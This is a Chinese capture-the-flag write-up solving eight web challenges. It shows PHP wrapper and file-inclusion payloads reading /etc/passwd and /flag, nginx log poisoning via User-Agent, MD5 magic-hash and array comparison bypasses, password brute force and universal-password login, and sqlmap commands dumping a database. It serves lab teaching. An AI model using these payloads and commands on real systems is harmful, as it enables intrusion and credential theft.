目录
CheckMe01
CheckMe02
方法一:
方法二:
CheckMe03
CheckMe04
CheckMe05
CheckMe06
CheckMe07
CheckMe08
分析代码,情况很明了,我们需要传入字符串"qsnctf"的base64加密字符串即可
输入框可能以post形式传值,所以直接传入参数。
或者hackbar用post传也可以
首先php伪协议一下
传入url=php://filter/read=convert.base64-encode/resource=index.php 得到php源码
可以看出并没有做任何过滤,这里可以用两种方法
通过data://text/plain协议来进行漏洞利用。
传入url=data://text/plain,
查看根目录下的flag
补充知识:
/etc/passwd文件:系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读(r)操作。
url=/etc/passwd 发现可以执行
url=/flag 即可得到flag
提示不能使用伪协议
先读取文件试一试,/etc/passwd
还是可以读取到文件,接着改成根目录下的flag,/flag
还有一种方法:通过日志来解析PHP语句
根据nginx配置文件:
?text=../../../etc/nginx/nginx.conf
可以推测access.log文件所在位置为/var/log/nginx/access.log,这个日志文件会记录http请求日志
输入?text=../../../var/log/nginx/access.log
我们通过发送一个包含语句的http请求来写入access.log文件,
这里就要用到burpsuite来拦截请求包,修改里面的User-Agent字段:
然后再通过文件包含漏洞访问access.log日志文件:?text=../../../var/log/nginx/access.log
比较两个传入参数的md5值是否相同,两个等于号代表弱比较。
PHP:
ctype_alpha()是一个检测函数,用来检测所给参数是不是字母的函数。
is_numeric() 函数用于检测变量是否为数字或数字字符串。
分析一下这段代码,变量a只能为字母,b只能为数字,然后他们各自的MD5值如果想等就输出flag。
这里通过0e截断可以做到,因为0e在是科学计数的语法,0e后面不管多大都是0
所以只需要找到两个0e开头的md5就行了
随便百度下找到两个
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
换成了三个等号,意为强类型比较,但是没有对传入数据进行类型判断,所以我们使用数组绕过即可。
a[]=1&b[]=2
发现是个登录框,且题目提示给了一个字典,猜测用户admin,爆破密码
发现是个登录框,试了下万能密码就出来了
同样的登录框,试了下万能密码不行
这里猜测是sql注入,拿出sqlmap跑一跑
由于get没有显示,所以是post请求,所以我们需要BP一下把请求包复制并保存到一个txt文档里。
第一步暴库 :sqlmap -r 66.txt --dbs -batch 爆出库名sql,同时可知是时间盲注
第二步爆表 :sqlmap -r 66.txt -D sql --tables -batch 爆出表名user
第三步爆列名 :sqlmap -r 66.txt -D sql -T user --columns -batch 得到列username,password
第四步查看password的内容 :sqlmap -r 66.txt -D sql -T user -C password --dump -batch
得到flag